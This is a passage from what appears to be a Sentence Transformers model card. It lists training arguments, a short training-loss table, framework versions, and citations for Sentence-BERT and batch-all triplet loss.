: Falsegroup_by_length
: Falselength_column_name
: lengthddp_find_unused_parameters
: Noneddp_bucket_cap_mb
: Noneddp_broadcast_buffers
: Falsedataloader_pin_memory
: Truedataloader_persistent_workers
: Falseskip_memory_metrics
: Trueuse_legacy_prediction_loop
: Falsepush_to_hub
: Falseresume_from_checkpoint
: Nonehub_model_id
: Nonehub_strategy
: every_savehub_private_repo
: Nonehub_always_push
: Falsegradient_checkpointing
: Falsegradient_checkpointing_kwargs
: Noneinclude_inputs_for_metrics
: Falseinclude_for_metrics
: []eval_do_concat_batches
: Truefp16_backend
: autopush_to_hub_model_id
: Nonepush_to_hub_organization
: Nonemp_parameters
:auto_find_batch_size
: Falsefull_determinism
: Falsetorchdynamo
: Noneray_scope
: lastddp_timeout
: 1800torch_compile
: Falsetorch_compile_backend
: Nonetorch_compile_mode
: Noneinclude_tokens_per_second
: Falseinclude_num_input_tokens_seen
: Falseneftune_noise_alpha
: Noneoptim_target_modules
: Nonebatch_eval_metrics
: Falseeval_on_start
: Falseuse_liger_kernel
: Falseeval_use_gather_object
: Falseaverage_tokens_across_devices
: Falseprompts
: Nonebatch_sampler
: batch_samplermulti_dataset_batch_sampler
: round_robin
Training Logs
Epoch | Step | Training Loss |
---|---|---|
0.2393 | 500 | 0.2122 |
0.4787 | 1000 | 0.1686 |
0.7180 | 1500 | 0.2193 |
0.9574 | 2000 | 0.2084 |
Framework Versions
- Python: 3.11.13
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1
Citation
BibTeX
Sentence Transformers
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
BatchAllTripletLoss
@misc{hermans2017defense,
title={In Defense of the Triplet Loss for Person Re-Identification},
author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
year={2017},
eprint={1703.07737},
archivePrefix={arXiv},
primaryClass={cs.CV}
}